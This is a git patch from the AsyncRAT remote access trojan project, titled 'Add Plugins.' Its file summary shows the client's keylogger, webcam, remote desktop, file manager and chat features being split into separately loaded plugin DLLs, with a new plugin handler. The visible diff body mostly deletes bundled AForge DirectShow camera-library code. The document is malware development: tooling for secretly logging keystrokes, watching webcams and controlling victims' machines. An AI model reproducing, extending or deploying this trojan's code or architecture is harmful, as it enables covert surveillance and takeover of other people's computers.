From a4651e17b7c37c3c7115f6069fba8210e7362020 Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Sat, 22 Jun 2019 16:32:45 +0300 Subject: [PATCH] Add Plugins. --- .../Video.DirectShow/CameraControlProperty.cs | 67 - .../AForge/Video.DirectShow/FilterInfo.cs | 193 -- .../Video.DirectShow/FilterInfoCollection.cs | 138 -- .../Internals/IAMCameraControl.cs | 81 - .../Video.DirectShow/Internals/IAMCrossbar.cs | 88 - .../Internals/IAMStreamConfig.cs | 74 - .../Internals/IAMVideoControl.cs | 112 -- .../Video.DirectShow/Internals/IBaseFilter.cs | 161 -- .../Internals/ICaptureGraphBuilder2.cs | 192 -- .../Internals/ICreateDevEnum.cs | 37 - .../Internals/IEnumFilters.cs | 71 - .../Video.DirectShow/Internals/IEnumPins.cs | 68 - .../Internals/IFilterGraph.cs | 113 -- .../Internals/IFilterGraph2.cs | 257 --- .../Internals/IGraphBuilder.cs | 198 -- .../Internals/IMediaControl.cs | 118 -- .../Internals/IMediaEventEx.cs | 126 -- .../AForge/Video.DirectShow/Internals/IPin.cs | 191 -- .../Internals/IPropertyBag.cs | 53 - .../Internals/IReferenceClock.cs | 87 - .../Internals/ISampleGrabber.cs | 103 - .../Internals/ISampleGrabberCB.cs | 47 - .../Internals/ISpecifyPropertyPages.cs | 36 - .../Video.DirectShow/Internals/Structures.cs | 518 ----- .../Video.DirectShow/Internals/Uuids.cs | 299 --- .../Video.DirectShow/Internals/Win32.cs | 102 - .../Video.DirectShow/PhysicalConnectorType.cs | 123 -- .../Client/AForge/Video.DirectShow/Uuids.cs | 55 - .../Video.DirectShow/VideoCapabilities.cs | 245 --- .../Video.DirectShow/VideoCaptureDevice.cs | 1698 ----------------- .../AForge/Video.DirectShow/VideoInput.cs | 47 - .../Client/AForge/Video/IVideoSource.cs | 126 -- .../Client/AForge/Video/VideoEvents.cs | 125 -- AsyncRAT-C#/Client/Client.csproj | 58 +- .../Client/Handle Packet/HandleFileManager.cs | 310 --- .../Client/Handle Packet/HandleLimeLogger.cs | 200 -- .../Client/Handle Packet/HandlePlugin.cs | 85 + .../Handle Packet/HandleRemoteDesktop.cs | 116 -- .../Client/Handle Packet/HandleUninstall.cs | 7 + .../Client/Handle Packet/HandleWebcam.cs | 213 --- .../Client/Handle Packet/HandlerChat.cs | 47 - AsyncRAT-C#/Client/Handle Packet/Packet.cs | 56 +- .../Client/Helper/FormChat.Designer.cs | 93 - AsyncRAT-C#/Client/Helper/FormChat.cs | 45 - AsyncRAT-C#/Client/Helper/FormChat.resx | 123 -- AsyncRAT-C#/Client/Helper/Methods.cs | 4 +- AsyncRAT-C#/Client/Helper/RegistryDB.cs | 67 + AsyncRAT-C#/Client/Settings.cs | 6 +- AsyncRAT-C#/Client/StreamLibrary/Enums.cs | 20 - .../Client/StreamLibrary/IUnsafeCodec.cs | 44 - .../Client/StreamLibrary/IVideoCodec.cs | 35 - .../UnsafeCodecs/UnsafeStreamCodec.cs | 338 ---- .../StreamLibrary/src/JpgCompression.cs | 49 - .../StreamLibrary/src/LzwCompression.cs | 52 - .../Client/StreamLibrary/src/NativeMethods.cs | 20 - AsyncRAT-C#/Plugin/LimeLogger.dll | Bin 0 -> 23552 bytes AsyncRAT-C#/Plugin/PluginBase.zip | Bin 0 -> 13726 bytes AsyncRAT-C#/Plugin/PluginCam.dll | Bin 0 -> 55808 bytes AsyncRAT-C#/Plugin/PluginChat.dll | Bin 0 -> 24064 bytes AsyncRAT-C#/Plugin/PluginDesktop.dll | Bin 0 -> 31232 bytes AsyncRAT-C#/Plugin/PluginFileManager.dll | Bin 0 -> 28160 bytes AsyncRAT-C#/Server/Forms/Form1.cs | 70 +- AsyncRAT-C#/Server/Forms/FormChat.Designer.cs | 7 +- AsyncRAT-C#/Server/Forms/FormChat.cs | 52 +- AsyncRAT-C#/Server/Forms/FormDownloadFile.cs | 36 +- .../Server/Forms/FormFileManager.Designer.cs | 61 +- AsyncRAT-C#/Server/Forms/FormFileManager.cs | 40 +- AsyncRAT-C#/Server/Forms/FormFileManager.resx | 844 ++++---- .../Server/Forms/FormKeylogger.Designer.cs | 3 +- AsyncRAT-C#/Server/Forms/FormKeylogger.cs | 9 +- .../Forms/FormRemoteDesktop.Designer.cs | 11 +- AsyncRAT-C#/Server/Forms/FormRemoteDesktop.cs | 28 +- .../Server/Forms/FormRemoteDesktop.resx | 3 - .../Server/Handle Packet/HandleChat.cs | 44 +- .../Server/Handle Packet/HandleFileManager.cs | 18 +- .../Server/Handle Packet/HandleKeylogger.cs | 30 +- .../Server/Handle Packet/HandlePlugin.cs | 37 + .../Handle Packet/HandleRemoteDesktop.cs | 50 +- .../Server/Handle Packet/HandleWebcam.cs | 1 + AsyncRAT-C#/Server/Handle Packet/Packet.cs | 8 +- .../Server/Helper/CreateCertificate.cs | 7 + AsyncRAT-C#/Server/Helper/Methods.cs | 12 + .../Server/Properties/Resources.Designer.cs | 20 - AsyncRAT-C#/Server/Properties/Resources.resx | 6 - AsyncRAT-C#/Server/Resources/PluginCam.dll | Bin 84480 -> 0 bytes .../Server/Resources/PluginDesktop.dll | Bin 30720 -> 0 bytes AsyncRAT-C#/Server/Server.csproj | 14 +- AsyncRAT-C#/Server/Settings.cs | 8 +- 88 files changed, 965 insertions(+), 8391 deletions(-) delete mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/CameraControlProperty.cs delete mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/FilterInfo.cs delete mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/FilterInfoCollection.cs delete mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMCameraControl.cs delete mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMCrossbar.cs delete mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMStreamConfig.cs delete mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMVideoControl.cs delete mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IBaseFilter.cs delete mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ICaptureGraphBuilder2.cs delete mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ICreateDevEnum.cs delete mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IEnumFilters.cs delete mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IEnumPins.cs delete mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IFilterGraph.cs delete mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IFilterGraph2.cs delete mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IGraphBuilder.cs delete mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IMediaControl.cs delete mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IMediaEventEx.cs delete mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IPin.cs delete mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IPropertyBag.cs delete mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IReferenceClock.cs delete mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISampleGrabber.cs delete mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISampleGrabberCB.cs delete mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISpecifyPropertyPages.cs delete mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Structures.cs delete mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Uuids.cs delete mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Win32.cs delete mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/PhysicalConnectorType.cs delete mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/Uuids.cs delete mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoCapabilities.cs delete mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoCaptureDevice.cs delete mode 100644 AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoInput.cs delete mode 100644 AsyncRAT-C#/Client/AForge/Video/IVideoSource.cs delete mode 100644 AsyncRAT-C#/Client/AForge/Video/VideoEvents.cs delete mode 100644 AsyncRAT-C#/Client/Handle Packet/HandleFileManager.cs delete mode 100644 AsyncRAT-C#/Client/Handle Packet/HandleLimeLogger.cs create mode 100644 AsyncRAT-C#/Client/Handle Packet/HandlePlugin.cs delete mode 100644 AsyncRAT-C#/Client/Handle Packet/HandleRemoteDesktop.cs delete mode 100644 AsyncRAT-C#/Client/Handle Packet/HandleWebcam.cs delete mode 100644 AsyncRAT-C#/Client/Handle Packet/HandlerChat.cs delete mode 100644 AsyncRAT-C#/Client/Helper/FormChat.Designer.cs delete mode 100644 AsyncRAT-C#/Client/Helper/FormChat.cs delete mode 100644 AsyncRAT-C#/Client/Helper/FormChat.resx create mode 100644 AsyncRAT-C#/Client/Helper/RegistryDB.cs delete mode 100644 AsyncRAT-C#/Client/StreamLibrary/Enums.cs delete mode 100644 AsyncRAT-C#/Client/StreamLibrary/IUnsafeCodec.cs delete mode 100644 AsyncRAT-C#/Client/StreamLibrary/IVideoCodec.cs delete mode 100644 AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs delete mode 100644 AsyncRAT-C#/Client/StreamLibrary/src/JpgCompression.cs delete mode 100644 AsyncRAT-C#/Client/StreamLibrary/src/LzwCompression.cs delete mode 100644 AsyncRAT-C#/Client/StreamLibrary/src/NativeMethods.cs create mode 100644 AsyncRAT-C#/Plugin/LimeLogger.dll create mode 100644 AsyncRAT-C#/Plugin/PluginBase.zip create mode 100644 AsyncRAT-C#/Plugin/PluginCam.dll create mode 100644 AsyncRAT-C#/Plugin/PluginChat.dll create mode 100644 AsyncRAT-C#/Plugin/PluginDesktop.dll create mode 100644 AsyncRAT-C#/Plugin/PluginFileManager.dll create mode 100644 AsyncRAT-C#/Server/Handle Packet/HandlePlugin.cs delete mode 100644 AsyncRAT-C#/Server/Resources/PluginCam.dll delete mode 100644 AsyncRAT-C#/Server/Resources/PluginDesktop.dll diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/CameraControlProperty.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/CameraControlProperty.cs deleted file mode 100644 index 8ab1f6c..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/CameraControlProperty.cs +++ /dev/null @@ -1,67 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// http://www.aforgenet.com/framework/ -// -// Copyright © AForge.NET, 2009-2013 -// contacts@aforgenet.com -// - -namespace AForge.Video.DirectShow -{ - using System; - - /// - /// The enumeration specifies a setting on a camera. - /// - public enum CameraControlProperty - { - /// - /// Pan control. - /// - Pan = 0, - /// - /// Tilt control. - /// - Tilt, - /// - /// Roll control. - /// - Roll, - /// - /// Zoom control. - /// - Zoom, - /// - /// Exposure control. - /// - Exposure, - /// - /// Iris control. - /// - Iris, - /// - /// Focus control. - /// - Focus - } - - /// - /// The enumeration defines whether a camera setting is controlled manually or automatically. - /// - [Flags] - public enum CameraControlFlags - { - /// - /// No control flag. - /// - None = 0x0, - /// - /// Auto control Flag. - /// - Auto = 0x0001, - /// - /// Manual control Flag. - /// - Manual = 0x0002 - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/FilterInfo.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/FilterInfo.cs deleted file mode 100644 index c70e966..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/FilterInfo.cs +++ /dev/null @@ -1,193 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2008 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow -{ - using System; - using System.Runtime.InteropServices; - using System.Runtime.InteropServices.ComTypes; - using AForge.Video.DirectShow.Internals; - - /// - /// DirectShow filter information. - /// - /// - public class FilterInfo : IComparable - { - /// - /// Filter name. - /// - public string Name { get; private set; } - - /// - /// Filters's moniker string. - /// - /// - public string MonikerString { get; private set; } - - /// - /// Initializes a new instance of the class. - /// - /// - /// Filters's moniker string. - /// - public FilterInfo( string monikerString ) - { - MonikerString = monikerString; - Name = GetName( monikerString ); - } - - /// - /// Initializes a new instance of the class. - /// - /// - /// Filter's moniker object. - /// - internal FilterInfo( IMoniker moniker ) - { - MonikerString = GetMonikerString( moniker ); - Name = GetName( moniker ); - } - - /// - /// Compare the object with another instance of this class. - /// - /// - /// Object to compare with. - /// - /// A signed number indicating the relative values of this instance and value. - /// - public int CompareTo( object value ) - { - FilterInfo f = (FilterInfo) value; - - if ( f == null ) - return 1; - - return ( this.Name.CompareTo( f.Name ) ); - } - - /// - /// Create an instance of the filter. - /// - /// - /// Filter's moniker string. - /// - /// Returns filter's object, which implements IBaseFilter interface. - /// - /// The returned filter's object should be released using Marshal.ReleaseComObject(). - /// - public static object CreateFilter( string filterMoniker ) - { - // filter's object - object filterObject = null; - // bind context and moniker objects - IBindCtx bindCtx = null; - IMoniker moniker = null; - - int n = 0; - - // create bind context - if ( Win32.CreateBindCtx( 0, out bindCtx ) == 0 ) - { - // convert moniker`s string to a moniker - if ( Win32.MkParseDisplayName( bindCtx, filterMoniker, ref n, out moniker ) == 0 ) - { - // get device base filter - Guid filterId = typeof( IBaseFilter ).GUID; - moniker.BindToObject( null, null, ref filterId, out filterObject ); - - Marshal.ReleaseComObject( moniker ); - } - Marshal.ReleaseComObject( bindCtx ); - } - return filterObject; - } - - // - // Get moniker string of the moniker - // - private string GetMonikerString( IMoniker moniker ) - { - string str; - moniker.GetDisplayName( null, null, out str ); - return str; - } - - // - // Get filter name represented by the moniker - // - private string GetName( IMoniker moniker ) - { - Object bagObj = null; - IPropertyBag bag = null; - - try - { - Guid bagId = typeof( IPropertyBag ).GUID; - // get property bag of the moniker - moniker.BindToStorage( null, null, ref bagId, out bagObj ); - bag = (IPropertyBag) bagObj; - - // read FriendlyName - object val = ""; - int hr = bag.Read( "FriendlyName", ref val, IntPtr.Zero ); - if ( hr != 0 ) - Marshal.ThrowExceptionForHR( hr ); - - // get it as string - string ret = (string) val; - if ( ( ret == null ) || ( ret.Length < 1 ) ) - throw new ApplicationException( ); - - return ret; - } - catch ( Exception ) - { - return ""; - } - finally - { - // release all COM objects - bag = null; - if ( bagObj != null ) - { - Marshal.ReleaseComObject( bagObj ); - bagObj = null; - } - } - } - - // - // Get filter name represented by the moniker string - // - private string GetName( string monikerString ) - { - IBindCtx bindCtx = null; - IMoniker moniker = null; - String name = ""; - int n = 0; - - // create bind context - if ( Win32.CreateBindCtx( 0, out bindCtx ) == 0 ) - { - // convert moniker`s string to a moniker - if ( Win32.MkParseDisplayName( bindCtx, monikerString, ref n, out moniker ) == 0 ) - { - // get device name - name = GetName( moniker ); - - Marshal.ReleaseComObject( moniker ); - moniker = null; - } - Marshal.ReleaseComObject( bindCtx ); - bindCtx = null; - } - return name; - } - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/FilterInfoCollection.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/FilterInfoCollection.cs deleted file mode 100644 index dabd30d..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/FilterInfoCollection.cs +++ /dev/null @@ -1,138 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2008 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow -{ - using System; - using System.Collections; - using System.Runtime.InteropServices; - using System.Runtime.InteropServices.ComTypes; - using AForge.Video.DirectShow.Internals; - - /// - /// Collection of filters' information objects. - /// - /// - /// The class allows to enumerate DirectShow filters of specified category. For - /// a list of categories see . - /// - /// Sample usage: - /// - /// // enumerate video devices - /// videoDevices = new FilterInfoCollection( FilterCategory.VideoInputDevice ); - /// // list devices - /// foreach ( FilterInfo device in videoDevices ) - /// { - /// // ... - /// } - /// - /// - /// - public class FilterInfoCollection : CollectionBase - { - /// - /// Initializes a new instance of the class. - /// - /// - /// Guid of DirectShow filter category. See . - /// - /// Build collection of filters' information objects for the - /// specified filter category. - /// - public FilterInfoCollection( Guid category ) - { - CollectFilters( category ); - } - - /// - /// Get filter information object. - /// - /// - /// Index of filter information object to retrieve. - /// - /// Filter information object. - /// - public FilterInfo this[int index] - { - get - { - return ( (FilterInfo) InnerList[index] ); - } - } - - // Collect filters of specified category - private void CollectFilters( Guid category ) - { - object comObj = null; - ICreateDevEnum enumDev = null; - IEnumMoniker enumMon = null; - IMoniker[] devMon = new IMoniker[1]; - int hr; - - try - { - // Get the system device enumerator - Type srvType = Type.GetTypeFromCLSID( Clsid.SystemDeviceEnum ); - if ( srvType == null ) - throw new ApplicationException( "Failed creating device enumerator" ); - - // create device enumerator - comObj = Activator.CreateInstance( srvType ); - enumDev = (ICreateDevEnum) comObj; - - // Create an enumerator to find filters of specified category - hr = enumDev.CreateClassEnumerator( ref category, out enumMon, 0 ); - if ( hr != 0 ) - throw new ApplicationException( "No devices of the category" ); - - // Collect all filters - IntPtr n = IntPtr.Zero; - while ( true ) - { - // Get next filter - hr = enumMon.Next( 1, devMon, n ); - if ( ( hr != 0 ) || ( devMon[0] == null ) ) - break; - - // Add the filter - FilterInfo filter = new FilterInfo( devMon[0] ); - InnerList.Add( filter ); - - // Release COM object - Marshal.ReleaseComObject( devMon[0] ); - devMon[0] = null; - } - - // Sort the collection - InnerList.Sort( ); - } - catch - { - } - finally - { - // release all COM objects - enumDev = null; - if ( comObj != null ) - { - Marshal.ReleaseComObject( comObj ); - comObj = null; - } - if ( enumMon != null ) - { - Marshal.ReleaseComObject( enumMon ); - enumMon = null; - } - if ( devMon[0] != null ) - { - Marshal.ReleaseComObject( devMon[0] ); - devMon[0] = null; - } - } - } - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMCameraControl.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMCameraControl.cs deleted file mode 100644 index c207797..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMCameraControl.cs +++ /dev/null @@ -1,81 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// http://www.aforgenet.com/framework/ -// -// Copyright © AForge.NET, 2009-2013 -// contacts@aforgenet.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// The IAMCameraControl interface controls camera settings such as zoom, pan, aperture adjustment, - /// or shutter speed. To obtain this interface, query the filter that controls the camera. - /// - [ComImport, - Guid( "C6E13370-30AC-11d0-A18C-00A0C9118956" ), - InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] - internal interface IAMCameraControl - { - /// - /// Gets the range and default value of a specified camera property. - /// - /// - /// Specifies the property to query. - /// Receives the minimum value of the property. - /// Receives the maximum value of the property. - /// Receives the step size for the property. - /// Receives the default value of the property. - /// Receives a member of the CameraControlFlags enumeration, indicating whether the property is controlled automatically or manually. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetRange( - [In] CameraControlProperty Property, - [Out] out int pMin, - [Out] out int pMax, - [Out] out int pSteppingDelta, - [Out] out int pDefault, - [Out] out CameraControlFlags pCapsFlags - ); - - /// - /// Sets a specified property on the camera. - /// - /// - /// Specifies the property to set. - /// Specifies the new value of the property. - /// Specifies the desired control setting, as a member of the CameraControlFlags enumeration. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Set( - [In] CameraControlProperty Property, - [In] int lValue, - [In] CameraControlFlags Flags - ); - - /// - /// Gets the current setting of a camera property. - /// - /// - /// Specifies the property to retrieve. - /// Receives the value of the property. - /// Receives a member of the CameraControlFlags enumeration. - /// The returned value indicates whether the setting is controlled manually or automatically. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Get( - [In] CameraControlProperty Property, - [Out] out int lValue, - [Out] out CameraControlFlags Flags - ); - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMCrossbar.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMCrossbar.cs deleted file mode 100644 index b67fc09..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMCrossbar.cs +++ /dev/null @@ -1,88 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// http://www.aforgenet.com/framework/ -// -// Copyright © AForge.NET, 2009-2012 -// contacts@aforgenet.com -// - -using System; -using System.Runtime.InteropServices; - -namespace AForge.Video.DirectShow.Internals -{ - /// - /// The IAMCrossbar interface routes signals from an analog or digital source to a video capture filter. - /// - [ComImport, System.Security.SuppressUnmanagedCodeSecurity, - Guid( "C6E13380-30AC-11D0-A18C-00A0C9118956" ), - InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] - internal interface IAMCrossbar - { - /// - /// Retrieves the number of input and output pins on the crossbar filter. - /// - /// - /// Variable that receives the number of output pins. - /// Variable that receives the number of input pins. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int get_PinCounts( [Out] out int outputPinCount, [Out] out int inputPinCount ); - - /// - /// Queries whether a specified input pin can be routed to a specified output pin. - /// - /// - /// Specifies the index of the output pin. - /// Specifies the index of input pin. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int CanRoute( [In] int outputPinIndex, [In] int inputPinIndex ); - - /// - /// Routes an input pin to an output pin. - /// - /// - /// Specifies the index of the output pin. - /// Specifies the index of the input pin. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Route( [In] int outputPinIndex, [In] int inputPinIndex ); - - /// - /// Retrieves the input pin that is currently routed to the specified output pin. - /// - /// - /// Specifies the index of the output pin. - /// Variable that receives the index of the input pin, or -1 if no input pin is routed to this output pin. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int get_IsRoutedTo( [In] int outputPinIndex, [Out] out int inputPinIndex ); - - /// - /// Retrieves information about a specified pin. - /// - /// - /// Specifies the direction of the pin. Use one of the following values. - /// Specifies the index of the pin. - /// Variable that receives the index of the related pin, or –1 if no pin is related to this pin. - /// Variable that receives a member of the PhysicalConnectorType enumeration, indicating the pin's physical type. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int get_CrossbarPinInfo( - [In, MarshalAs( UnmanagedType.Bool )] bool isInputPin, - [In] int pinIndex, - [Out] out int pinIndexRelated, - [Out] out PhysicalConnectorType physicalType ); - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMStreamConfig.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMStreamConfig.cs deleted file mode 100644 index e72f06e..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMStreamConfig.cs +++ /dev/null @@ -1,74 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2008 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// This interface sets the output format on certain capture and compression filters, - /// for both audio and video. - /// - /// - [ComImport, - Guid( "C6E13340-30AC-11d0-A18C-00A0C9118956" ), - InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] - internal interface IAMStreamConfig - { - /// - /// Set the output format on the pin. - /// - /// - /// Media type to set. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int SetFormat( [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); - - /// - /// Retrieves the audio or video stream's format. - /// - /// - /// Retrieved media type. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetFormat( [Out, MarshalAs( UnmanagedType.LPStruct )] out AMMediaType mediaType ); - - /// - /// Retrieve the number of format capabilities that this pin supports. - /// - /// - /// Variable that receives the number of format capabilities. - /// Variable that receives the size of the configuration structure in bytes. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetNumberOfCapabilities( out int count, out int size ); - - /// - /// Retrieve a set of format capabilities. - /// - /// - /// Specifies the format capability to retrieve, indexed from zero. - /// Retrieved media type. - /// Byte array, which receives information about capabilities. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetStreamCaps( - [In] int index, - [Out, MarshalAs( UnmanagedType.LPStruct )] out AMMediaType mediaType, - [In, MarshalAs( UnmanagedType.LPStruct )] VideoStreamConfigCaps streamConfigCaps - ); - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMVideoControl.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMVideoControl.cs deleted file mode 100644 index cb57dfe..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IAMVideoControl.cs +++ /dev/null @@ -1,112 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// http://www.aforgenet.com/framework/ -// -// Copyright © AForge.NET, 2009-2011 -// contacts@aforgenet.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// The interface controls certain video capture operations such as enumerating available - /// frame rates and image orientation. - /// - /// - [ComImport, - Guid( "6A2E0670-28E4-11D0-A18c-00A0C9118956" ), - InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] - internal interface IAMVideoControl - { - /// - /// Retrieves the capabilities of the underlying hardware. - /// - /// - /// Pin to query capabilities from. - /// Get capabilities of the specified pin. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetCaps( [In] IPin pin, [Out, MarshalAs( UnmanagedType.I4 )] out VideoControlFlags flags ); - - /// - /// Sets the video control mode of operation. - /// - /// - /// The pin to set the video control mode on. - /// Value specifying a combination of the flags to set the video control mode. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int SetMode( [In] IPin pin, [In, MarshalAs( UnmanagedType.I4 )] VideoControlFlags mode ); - - /// - /// Retrieves the video control mode of operation. - /// - /// - /// The pin to retrieve the video control mode from. - /// Gets combination of flags, which specify the video control mode. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetMode( [In] IPin pin, [Out, MarshalAs( UnmanagedType.I4 )] out VideoControlFlags mode ); - - /// - /// The method retrieves the actual frame rate, expressed as a frame duration in 100-nanosecond units. - /// USB (Universal Serial Bus) and IEEE 1394 cameras may provide lower frame rates than requested - /// because of bandwidth availability. This is only available during video streaming. - /// - /// - /// The pin to retrieve the frame rate from. - /// Gets frame rate in frame duration in 100-nanosecond units. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetCurrentActualFrameRate( [In] IPin pin, [Out, MarshalAs( UnmanagedType.I8 )] out long actualFrameRate ); - - /// - /// Retrieves the maximum frame rate currently available based on bus bandwidth usage for connections - /// such as USB and IEEE 1394 camera devices where the maximum frame rate can be limited by bandwidth - /// availability. - /// - /// - /// The pin to retrieve the maximum frame rate from. - /// Index of the format to query for maximum frame rate. This index corresponds - /// to the order in which formats are enumerated by . - /// Frame image size (width and height) in pixels. - /// Gets maximum available frame rate. The frame rate is expressed as frame duration in 100-nanosecond units. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetMaxAvailableFrameRate( [In] IPin pin, [In] int index, - [In] System.Drawing.Size dimensions, - [Out] out long maxAvailableFrameRate ); - - /// - /// Retrieves a list of available frame rates. - /// - /// - /// The pin to retrieve the maximum frame rate from. - /// Index of the format to query for maximum frame rate. This index corresponds - /// to the order in which formats are enumerated by . - /// Frame image size (width and height) in pixels. - /// Number of elements in the list of frame rates. - /// Array of frame rates in 100-nanosecond units. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetFrameRateList( [In] IPin pin, [In] int index, - [In] System.Drawing.Size dimensions, - [Out] out int listSize, - [Out] out IntPtr frameRate ); - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IBaseFilter.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IBaseFilter.cs deleted file mode 100644 index 3c03a31..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IBaseFilter.cs +++ /dev/null @@ -1,161 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// -// Copyright © Andrew Kirillov, 2007 -// andrew.kirillov@gmail.com -// - -namespace AForge.Video.DirectShow.Internals -{ - using System; - using System.Runtime.InteropServices; - - /// - /// The IBaseFilter interface provides methods for controlling a filter. - /// All DirectShow filters expose this interface - /// - /// - [ComImport, - Guid( "56A86895-0AD4-11CE-B03A-0020AF0BA770" ), - InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] - internal interface IBaseFilter - { - // --- IPersist Methods - - /// - /// Returns the class identifier (CLSID) for the component object. - /// - /// - /// Points to the location of the CLSID on return. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetClassID( [Out] out Guid ClassID ); - - // --- IMediaFilter Methods - - /// - /// Stops the filter. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Stop( ); - - /// - /// Pauses the filter. - /// - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Pause( ); - - /// - /// Runs the filter. - /// - /// - /// Reference time corresponding to stream time 0. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int Run( long start ); - - /// - /// Retrieves the state of the filter (running, stopped, or paused). - /// - /// - /// Time-out interval, in milliseconds. - /// Pointer to a variable that receives filter's state. - /// - /// Return's HRESULT error code. - /// - [PreserveSig] - int GetState( int milliSecsTimeout, [Out] out int filterState ); - - /// - /// Sets the reference clock for the filter or the filter graph. - /// - /// - /// Pointer to the 